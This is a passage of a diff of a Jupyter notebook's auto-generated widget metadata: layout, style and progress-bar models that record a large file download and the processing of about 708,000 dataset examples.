"LayoutModel", + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", "_view_count": null, "_view_module": "@jupyter-widgets/base", "_view_module_version": "1.2.0", - "_view_name": "LayoutView", - "align_content": null, - "align_items": null, - "align_self": null, - "border": null, - "bottom": null, - "display": null, - "flex": null, - "flex_flow": null, - "grid_area": null, - "grid_auto_columns": null, - "grid_auto_flow": null, - "grid_auto_rows": null, - "grid_column": null, - "grid_gap": null, - "grid_row": null, - "grid_template_areas": null, - "grid_template_columns": null, - "grid_template_rows": null, - "height": null, - "justify_content": null, - "justify_items": null, - "left": null, - "margin": null, - "max_height": null, - "max_width": null, - "min_height": null, - "min_width": null, - "object_fit": null, - "object_position": null, - "order": null, - "overflow": null, - "overflow_x": null, - "overflow_y": null, - "padding": null, - "right": null, - "top": null, - "visibility": null, - "width": null + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" } }, - "0c9990f0bc8f4386b2287458530b2dfb": { + "2e10e57221ef46d695eb16fd25ec5e49": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "2f22301fd2984090be8adb6fe839e393": { "model_module": "@jupyter-widgets/controls", "model_module_version": "1.5.0", "model_name": "HTMLModel", @@ -704,13 +1471,13 @@ "_view_name": "HTMLView", "description": "", "description_tooltip": null, - "layout": "IPY_MODEL_b7e3db649f4a4a5a826e1927901ecf26", + "layout": "IPY_MODEL_e33fa1b90e9947e8858db2ef44969e37", "placeholder": "​", - "style": "IPY_MODEL_eab32afa2da04737ba611247839133a6", - "value": "Downloading: " + "style": "IPY_MODEL_f6363254e1fd40b88ec971851ad7e441", + "value": "Downloading builder script: " } }, - "11f0f9a742494fc69bca13ecbd019b45": { + "34e85e0a8cf448828e27cb266626cb27": { "model_module": "@jupyter-widgets/controls", "model_module_version": "1.5.0", "model_name": "HTMLModel", @@ -725,13 +1492,13 @@ "_view_name": "HTMLView", "description": "", "description_tooltip": null, - "layout": "IPY_MODEL_2f7a4dd58b4b4f3d89a619bdf48e313c", + "layout": "IPY_MODEL_5837dd25ab0645939444b94ab35e5db4", "placeholder": "​", - "style": "IPY_MODEL_3e27bfcab64847289d9d6d153bfacda2", - "value": "Downloading: " + "style": "IPY_MODEL_d78152622ecf4f3da35756557a802251", + "value": " 845M/845M [00:24<00:00, 37.4MB/s]" } }, - "149ecc5ff3c644c892fe586f96757594": { + "3748fb75842f4392b40fbfab0b7c9caa": { "model_module": "@jupyter-widgets/controls", "model_module_version": "1.5.0", "model_name": "FloatProgressModel", @@ -747,98 +1514,80 @@ "bar_style": "success", "description": "", "description_tooltip": null, - "layout": "IPY_MODEL_4488bceb55e14f9e9953d749228b9af8", - "max": 638, + "layout": "IPY_MODEL_bc97183430e34db4b073305ce07d6f41", + "max": 71, "min": 0, "orientation": "horizontal", - "style": "IPY_MODEL_dbea538f5aab4376ab5adff219c6a7e8", - "value": 638 + "style": "IPY_MODEL_c082e56c91ce4bb4a4bb1e0b0001eaa2", + "value": 71 } }, - "15d463c6e6d442b2972c60a0b1fce504": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", + "3f27b9cc5f104665a99a996c7ab3af1c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", "state": { - "_model_module": "@jupyter-widgets/base", - "_model_module_version": "1.2.0", - "_model_name": "LayoutModel", + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "LayoutView", - "align_content": null, - "align_items": null, - "align_self": null, - "border": null, - "bottom": null, - "display": null, - "flex": null, - "flex_flow": null, - "grid_area": null, - "grid_auto_columns": null, - "grid_auto_flow": null, - "grid_auto_rows": null, - "grid_column": null, - "grid_gap": null, - "grid_row": null, - "grid_template_areas": null, - "grid_template_columns": null, - "grid_template_rows": null, - "height": null, - "justify_content": null, - "justify_items": null, - "left": null, - "margin": null, - "max_height": null, - "max_width": null, - "min_height": null, - "min_width": null, - "object_fit": null, - "object_position": null, - "order": null, - "overflow": null, - "overflow_x": null, - "overflow_y": null, - "padding": null, - "right": null, - "top": null, - "visibility": null, - "width": null + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_c73ea971834643fab70be84563d06f6a", + "IPY_MODEL_653752175e3445ee8fd4651bd551b34d", + "IPY_MODEL_34e85e0a8cf448828e27cb266626cb27" + ], + "layout": "IPY_MODEL_93b2d9dd8440496f8d1812993530dc05" } }, - "16fd37a38b794256beca9157c9903d2e": { + "450625b8b8cb4ea18bd6e8d0807c0830": { "model_module": "@jupyter-widgets/controls", "model_module_version": "1.5.0", - "model_name": "DescriptionStyleModel", + "model_name": "HBoxModel", "state": { + "_dom_classes": [], "_model_module": "@jupyter-widgets/controls", "_model_module_version": "1.5.0", - "_model_name": "DescriptionStyleModel", + "_model_name": "HBoxModel", "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "StyleView", - "description_width": "" + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_123f86c229c24496979269c09256d1e6", + "IPY_MODEL_cdcc3c356d91458ba4be2f1a8b41f9da", + "IPY_MODEL_66e0498023a64a109f4e18e030937e5e" + ], + "layout": "IPY_MODEL_bce52428773848faba37e3a41747b4e9" } }, - "18d0ae048fe5429cac8f9baee1fa52fd": { + "4589cb842c7842ddb0e9bca6db71d590": { "model_module": "@jupyter-widgets/controls", "model_module_version": "1.5.0", - "model_name": "ProgressStyleModel", + "model_name": "HTMLModel", "state": { + "_dom_classes": [], "_model_module": "@jupyter-widgets/controls", "_model_module_version": "1.5.0", - "_model_name": "ProgressStyleModel", + "_model_name": "HTMLModel", "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "StyleView", - "bar_color": null, - "description_width": "" + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_d84d85ce2d3f4dd491a44b97e653e175", + "placeholder": "​", + "style": "IPY_MODEL_54b4cf2d58ba4f87aec5070dbd1ff801", + "value": "100%" } }, - "1922da5612c3462c89bb11ef73823b7a": { + "4801d49b04044fa79f64afb3e4d0d89c": { "model_module": "@jupyter-widgets/base", "model_module_version": "1.2.0", "model_name": "LayoutModel", @@ -890,7 +1639,7 @@ "width": null } }, - "1a936ad85ed148539c1969f7a796c770": { + "4aaff7ef487c4b5c915b2def2ab21759": { "model_module": "@jupyter-widgets/controls", "model_module_version": "1.5.0", "model_name": "HTMLModel", @@ -905,13 +1654,72 @@ "_view_name": "HTMLView", "description": "", "description_tooltip": null, - "layout": "IPY_MODEL_49ad56abce5741099658cfcf45512fec", + "layout": "IPY_MODEL_ba0b6327ac3740f79f66cb54d131f4fa", "placeholder": "​", - "style": "IPY_MODEL_5d8ff83adf594b32b7ca10a61cd833c0", - "value": "Downloading: 100%" + "style": "IPY_MODEL_16fd5817ade84d92abeebb70952c926f", + "value": " 2.04k/? [00:00<00:00, 47.0kB/s]" + } + }, + "4df3ac00cfeb4441beb0c077578ce793": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_e549c9c30ce44951b93b1f9d4d1cfca1", + "IPY_MODEL_9f7e7e08223343d5b78d5c2d8855640d", + "IPY_MODEL_4aaff7ef487c4b5c915b2def2ab21759" + ], + "layout": "IPY_MODEL_99bbccd66c66489b96470d3e9caf1f1f" + } + }, + "50163d0ddc164a139121adf8f9310e36": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_40d2d394b8c24beaaa485d7c30dac2ac", + "IPY_MODEL_6a02439ddba246679fb53b91ccca4d2c", + "IPY_MODEL_1b57fe0adf5641ddb23713fa97cf28b6" + ], + "layout": "IPY_MODEL_f36b2a7aa3944a5e856e5b17d286a488" + } + }, + "54b4cf2d58ba4f87aec5070dbd1ff801": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" } }, - "1c48a995424b4a2089349cceb138108e": { + "5837dd25ab0645939444b94ab35e5db4": { "model_module": "@jupyter-widgets/base", "model_module_version": "1.2.0", "model_name": "LayoutModel", @@ -963,7 +1771,7 @@ "width": null } }, - "1ce5dcc33cad48108f7dcdc3a63d5a3e": { + "599a2e48109c4b25840754625c05af43": { "model_module": "@jupyter-widgets/controls", "model_module_version": "1.5.0", "model_name": "DescriptionStyleModel", @@ -978,31 +1786,22 @@ "description_width": "" } }, - "205f9228306747fd956cd9ec6e7f1b78": { + "62fe563ea6a74aa59833ce78423213da": { "model_module": "@jupyter-widgets/controls", "model_module_version": "1.5.0", - "model_name": "FloatProgressModel", + "model_name": "DescriptionStyleModel", "state": { - "_dom_classes": [], "_model_module": "@jupyter-widgets/controls", "_model_module_version": "1.5.0", - "_model_name": "FloatProgressModel", + "_model_name": "DescriptionStyleModel", "_view_count": null, - "_view_module": "@jupyter-widgets/controls", - "_view_module_version": "1.5.0", - "_view_name": "ProgressView", - "bar_style": "info", - "description": "", - "description_tooltip": null, - "layout": "IPY_MODEL_eb714a156833448a93e9bd9ae389b89e", - "max": 1, - "min": 0, - "orientation": "horizontal", - "style": "IPY_MODEL_bdbd88ef76a041669f00be6a53952545", - "value": 1 + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" } }, - "265fb035afef419bab76308935a6eaac": { + "653752175e3445ee8fd4651bd551b34d": { "model_module": "@jupyter-widgets/controls", "model_module_version": "1.5.0", "model_name": "FloatProgressModel", @@ -1018,52 +1817,36 @@ "bar_style": "success", "description": "", "description_tooltip": null, - "layout": "IPY_MODEL_c308902ea49a4382ac9e826da8b4ab5c", - "max": 1838, + "layout": "IPY_MODEL_788f92dcba3f4148bc4e88b5c4f9b28b", + "max": 845131146, "min": 0, "orientation": "horizontal", - "style": "IPY_MODEL_7df08ab0d53a4bc7bded7689b0c0f42f", - "value": 1838 + "style": "IPY_MODEL_cfcf5950147d45e0bc3c8689b5b76073", + "value": 845131146 } }, - "26f896e54c91464396bf22ced79c12d8": { + "66e0498023a64a109f4e18e030937e5e": { "model_module": "@jupyter-widgets/controls", "model_module_version": "1.5.0", - "model_name": "HBoxModel", + "model_name": "HTMLModel", "state": { "_dom_classes": [], "_model_module": "@jupyter-widgets/controls", "_model_module_version": "1.5.0", - "_model_name": "HBoxModel", + "_model_name": "HTMLModel", "_view_count": null, "_view_module": "@jupyter-widgets/controls", "_view_module_version": "1.5.0", - "_view_name": "HBoxView", - "box_style": "", - "children": [ - "IPY_MODEL_664234488caf43f6a269ff511c9e5e2f", - "IPY_MODEL_205f9228306747fd956cd9ec6e7f1b78", - "IPY_MODEL_47107d86a2524e938895cb67a7e4e0ed" - ], - "layout": "IPY_MODEL_3164d1a7697c4f9c925c8cdf710720d2" - } - }, - "2a683a54bda9443784820bd47adbe221": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "DescriptionStyleModel", - "state": { - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "DescriptionStyleModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "StyleView", - "description_width": "" + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_4801d49b04044fa79f64afb3e4d0d89c", + "placeholder": "​", + "style": "IPY_MODEL_599a2e48109c4b25840754625c05af43", + "value": " 708111/708241 [04:17<00:00, 2898.45 examples/s]" } }, - "2aa5062333a34ab18e31443bb86669c5": { + "6aa0294bb5b741f49883998b69accaba": { "model_module": "@jupyter-widgets/base", "model_module_version": "1.2.0", "model_name": "LayoutModel", @@ -1115,23 +1898,7 @@ "width": null } }, - "2c4a24a9dc5e4e3280fb3c92d20972d8": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "ProgressStyleModel", - "state": { - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "ProgressStyleModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "StyleView", - "bar_color": null, - "description_width": "" - } - }, - "2f7a4dd58b4b4f3d89a619bdf48e313c": { + "6c082c2cd59f483981b4839dff47e071": { "model_module": "@jupyter-widgets/base", "model_module_version": "1.2.0", "model_name": "LayoutModel", @@ -1183,7 +1950,7 @@ "width": null } }, - "3164d1a7697c4f9c925c8cdf710720d2": { + "6d6b854ddcbc4113b941c8ba804e2877": { "model_module": "@jupyter-widgets/base", "model_module_version": "1.2.0", "model_name": "LayoutModel", @@ -1235,66 +2002,7 @@ "width": null } }, - "32f8eac19e854d299c59619abcedcba4": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "HBoxModel", - "state": { - "_dom_classes": [], - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "HBoxModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/controls", - "_view_module_version": "1.5.0", - "_view_name": "HBoxView", - "box_style": "", - "children": [ - "IPY_MODEL_9225e09f96dc413489f4678e03c23fba", - "IPY_MODEL_7236819d2a7c45589f08cc7084b1a74f", - "IPY_MODEL_dc4112e6c75242a4ab704fdbfe61016d" - ], - "layout": "IPY_MODEL_ba67cc37f545485d8663cbc2471af206" - } - }, - "334d0b1cd7e045bfa0d056e1ba1b85b5": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "HBoxModel", - "state": { - "_dom_classes": [], - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "HBoxModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/controls", - "_view_module_version": "1.5.0", - "_view_name": "HBoxView", - "box_style": "", - "children": [ - "IPY_MODEL_11f0f9a742494fc69bca13ecbd019b45", - "IPY_MODEL_7b57baba42e04731952526fd9d8eef75", - "IPY_MODEL_5a535ce952ac4651b229f5b94dc72e19" - ], - "layout": "IPY_MODEL_8a3ed18519fb42f78229ad0e260f5960" - } - }, - "3e27bfcab64847289d9d6d153bfacda2": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "DescriptionStyleModel", - "state": { - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "DescriptionStyleModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "StyleView", - "description_width": "" - } - }, - "3f966a6c29de404d99750320bdb2d074": { + "788f92dcba3f4148bc4e88b5c4f9b28b": { "model_module": "@jupyter-widgets/base", "model_module_version": "1.2.0", "model_name": "LayoutModel", @@ -1346,7 +2054,7 @@ "width": null } }, - "4488bceb55e14f9e9953d749228b9af8": { + "7a3d34b2e76a4d4b8b14ac5aefb3883f": { "model_module": "@jupyter-widgets/base", "model_module_version": "1.2.0", "model_name": "LayoutModel", @@ -1398,43 +2106,29 @@ "width": null } }, - "45241208a8f54476ad4bac17acda0a91": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "DescriptionStyleModel", - "state": { - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "DescriptionStyleModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "StyleView", - "description_width": "" - } - }, - "47107d86a2524e938895cb67a7e4e0ed": { + "7aa9b4e351a34a84a8aa6ad49aa5d74d": { "model_module": "@jupyter-widgets/controls", "model_module_version": "1.5.0", - "model_name": "HTMLModel", + "model_name": "HBoxModel", "state": { "_dom_classes": [], "_model_module": "@jupyter-widgets/controls", "_model_module_version": "1.5.0", - "_model_name": "HTMLModel", + "_model_name": "HBoxModel", "_view_count": null, "_view_module": "@jupyter-widgets/controls", "_view_module_version": "1.5.0", - "_view_name": "HTMLView", - "description": "", - "description_tooltip": null, - "layout": "IPY_MODEL_dec268a4d4fd45a5805337a27daf270e", - "placeholder": "​", - "style": "IPY_MODEL_45241208a8f54476ad4bac17acda0a91", - "value": " 707857/0 [03:57<00:00, 2257.41 examples/s]" + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_2f22301fd2984090be8adb6fe839e393", + "IPY_MODEL_98d3d993e19d4f448cbca02235a850ac", + "IPY_MODEL_8bec66cc71aa433ea55697d640988262" + ], + "layout": "IPY_MODEL_b45af68d650f445d97876e9b51d3f15a" } }, - "49ad56abce5741099658cfcf45512fec": { + "89fdcc82f49f4ab2b498bb5d46f9b73b": { "model_module": "@jupyter-widgets/base", "model_module_version": "1.2.0", "model_name": "LayoutModel", @@ -1481,571 +2175,12 @@ "overflow_y": null, "padding": null, "right": null, - "top": null, - "visibility": null, - "width": null - } - }, - "519c4651da0b471a9559cbe562783ba2": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": { - "_model_module": "@jupyter-widgets/base", - "_model_module_version": "1.2.0", - "_model_name": "LayoutModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "LayoutView", - "align_content": null, - "align_items": null, - "align_self": null, - "border": null, - "bottom": null, - "display": null, - "flex": null, - "flex_flow": null, - "grid_area": null, - "grid_auto_columns": null, - "grid_auto_flow": null, - "grid_auto_rows": null, - "grid_column": null, - "grid_gap": null, - "grid_row": null, - "grid_template_areas": null, - "grid_template_columns": null, - "grid_template_rows": null, - "height": null, - "justify_content": null, - "justify_items": null, - "left": null, - "margin": null, - "max_height": null, - "max_width": null, - "min_height": null, - "min_width": null, - "object_fit": null, - "object_position": null, - "order": null, - "overflow": null, - "overflow_x": null, - "overflow_y": null, - "padding": null, - "right": null, - "top": null, - "visibility": null, - "width": null - } - }, - "539e840884844c658700d53351dadb88": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "ProgressStyleModel", - "state": { - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "ProgressStyleModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "StyleView", - "bar_color": null, - "description_width": "" - } - }, - "59a1bfc668724861a7b16313be4af103": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "HBoxModel", - "state": { - "_dom_classes": [], - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "HBoxModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/controls", - "_view_module_version": "1.5.0", - "_view_name": "HBoxView", - "box_style": "", - "children": [ - "IPY_MODEL_0c9990f0bc8f4386b2287458530b2dfb", - "IPY_MODEL_265fb035afef419bab76308935a6eaac", - "IPY_MODEL_96c997fec3fe44bcb837d1f57865d5d3" - ], - "layout": "IPY_MODEL_1922da5612c3462c89bb11ef73823b7a" - } - }, - "5a535ce952ac4651b229f5b94dc72e19": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "HTMLModel", - "state": { - "_dom_classes": [], - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "HTMLModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/controls", - "_view_module_version": "1.5.0", - "_view_name": "HTMLView", - "description": "", - "description_tooltip": null, - "layout": "IPY_MODEL_b08a6ac88f56455ea29474fa37a07209", - "placeholder": "​", - "style": "IPY_MODEL_2a683a54bda9443784820bd47adbe221", - "value": " 2.04k/? [00:00<00:00, 50.6kB/s]" - } - }, - "5d8ff83adf594b32b7ca10a61cd833c0": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "DescriptionStyleModel", - "state": { - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "DescriptionStyleModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "StyleView", - "description_width": "" - } - }, - "664234488caf43f6a269ff511c9e5e2f": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "HTMLModel", - "state": { - "_dom_classes": [], - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "HTMLModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/controls", - "_view_module_version": "1.5.0", - "_view_name": "HTMLView", - "description": "", - "description_tooltip": null, - "layout": "IPY_MODEL_2aa5062333a34ab18e31443bb86669c5", - "placeholder": "​", - "style": "IPY_MODEL_aa0019485825455b9ded33be7a591bdd", - "value": "" - } - }, - "7236819d2a7c45589f08cc7084b1a74f": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "FloatProgressModel", - "state": { - "_dom_classes": [], - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "FloatProgressModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/controls", - "_view_module_version": "1.5.0", - "_view_name": "ProgressView", - "bar_style": "success", - "description": "", - "description_tooltip": null, - "layout": "IPY_MODEL_ae4b485f57e44fd081f71b6b765853ef", - "max": 71, - "min": 0, - "orientation": "horizontal", - "style": "IPY_MODEL_2c4a24a9dc5e4e3280fb3c92d20972d8", - "value": 71 - } - }, - "75da83d0425b4a44a744fd2be0bd0996": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "HBoxModel", - "state": { - "_dom_classes": [], - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "HBoxModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/controls", - "_view_module_version": "1.5.0", - "_view_name": "HBoxView", - "box_style": "", - "children": [ - "IPY_MODEL_02e7cd42b29c423fb79c1560df7ba4be", - "IPY_MODEL_149ecc5ff3c644c892fe586f96757594", - "IPY_MODEL_ea006c31f1f1443e8c1ae665fdfad963" - ], - "layout": "IPY_MODEL_519c4651da0b471a9559cbe562783ba2" - } - }, - "75daabb1266949969e68460ece1bd52c": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": { - "_model_module": "@jupyter-widgets/base", - "_model_module_version": "1.2.0", - "_model_name": "LayoutModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "LayoutView", - "align_content": null, - "align_items": null, - "align_self": null, - "border": null, - "bottom": null, - "display": null, - "flex": null, - "flex_flow": null, - "grid_area": null, - "grid_auto_columns": null, - "grid_auto_flow": null, - "grid_auto_rows": null, - "grid_column": null, - "grid_gap": null, - "grid_row": null, - "grid_template_areas": null, - "grid_template_columns": null, - "grid_template_rows": null, - "height": null, - "justify_content": null, - "justify_items": null, - "left": null, - "margin": null, - "max_height": null, - "max_width": null, - "min_height": null, - "min_width": null, - "object_fit": null, - "object_position": null, - "order": null, - "overflow": null, - "overflow_x": null, - "overflow_y": null, - "padding": null, - "right": null, - "top": null, - "visibility": null, - "width": null - } - }, - "7b57baba42e04731952526fd9d8eef75": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "FloatProgressModel", - "state": { - "_dom_classes": [], - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "FloatProgressModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/controls", - "_view_module_version": "1.5.0", - "_view_name": "ProgressView", - "bar_style": "success", - "description": "", - "description_tooltip": null, - "layout": "IPY_MODEL_75daabb1266949969e68460ece1bd52c", - "max": 932, - "min": 0, - "orientation": "horizontal", - "style": "IPY_MODEL_18d0ae048fe5429cac8f9baee1fa52fd", - "value": 932 - } - }, - "7df08ab0d53a4bc7bded7689b0c0f42f": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "ProgressStyleModel", - "state": { - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "ProgressStyleModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "StyleView", - "bar_color": null, - "description_width": "" - } - }, - "7f455480ddbb49b8b8c9238007d0a963": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": { - "_model_module": "@jupyter-widgets/base", - "_model_module_version": "1.2.0", - "_model_name": "LayoutModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "LayoutView", - "align_content": null, - "align_items": null, - "align_self": null, - "border": null, - "bottom": null, - "display": null, - "flex": null, - "flex_flow": null, - "grid_area": null, - "grid_auto_columns": null, - "grid_auto_flow": null, - "grid_auto_rows": null, - "grid_column": null, - "grid_gap": null, - "grid_row": null, - "grid_template_areas": null, - "grid_template_columns": null, - "grid_template_rows": null, - "height": null, - "justify_content": null, - "justify_items": null, - "left": null, - "margin": null, - "max_height": null, - "max_width": null, - "min_height": null, - "min_width": null, - "object_fit": null, - "object_position": null, - "order": null, - "overflow": null, - "overflow_x": null, - "overflow_y": null, - "padding": null, - "right": null, - "top": null, - "visibility": null, - "width": null - } - }, - "7fbaa77d41ac4611af7d6abb67d8e89e": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "HBoxModel", - "state": { - "_dom_classes": [], - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "HBoxModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/controls", - "_view_module_version": "1.5.0", - "_view_name": "HBoxView", - "box_style": "", - "children": [ - "IPY_MODEL_1a936ad85ed148539c1969f7a796c770", - "IPY_MODEL_8784ee8c8abb47928e6e61e5200576a0", - "IPY_MODEL_8a1f26612fc9412ea3de837c0fd2b00a" - ], - "layout": "IPY_MODEL_9f9ee7d69dc54611afeb2e8d51d905c3" - } - }, - "809dcd1d1991458cae118d90174a96f5": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "DescriptionStyleModel", - "state": { - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "DescriptionStyleModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "StyleView", - "description_width": "" - } - }, - "8784ee8c8abb47928e6e61e5200576a0": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "FloatProgressModel", - "state": { - "_dom_classes": [], - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "FloatProgressModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/controls", - "_view_module_version": "1.5.0", - "_view_name": "ProgressView", - "bar_style": "success", - "description": "", - "description_tooltip": null, - "layout": "IPY_MODEL_1c48a995424b4a2089349cceb138108e", - "max": 845131146, - "min": 0, - "orientation": "horizontal", - "style": "IPY_MODEL_e034b565bf8043419f588cb19ea8a640", - "value": 845131146 - } - }, - "8a1f26612fc9412ea3de837c0fd2b00a": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "HTMLModel", - "state": { - "_dom_classes": [], - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "HTMLModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/controls", - "_view_module_version": "1.5.0", - "_view_name": "HTMLView", - "description": "", - "description_tooltip": null, - "layout": "IPY_MODEL_bf38247632e94a5fb88cccbbb4554300", - "placeholder": "​", - "style": "IPY_MODEL_809dcd1d1991458cae118d90174a96f5", - "value": " 845M/845M [00:17<00:00, 46.5MB/s]" - } - }, - "8a3ed18519fb42f78229ad0e260f5960": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": { - "_model_module": "@jupyter-widgets/base", - "_model_module_version": "1.2.0", - "_model_name": "LayoutModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "LayoutView", - "align_content": null, - "align_items": null, - "align_self": null, - "border": null, - "bottom": 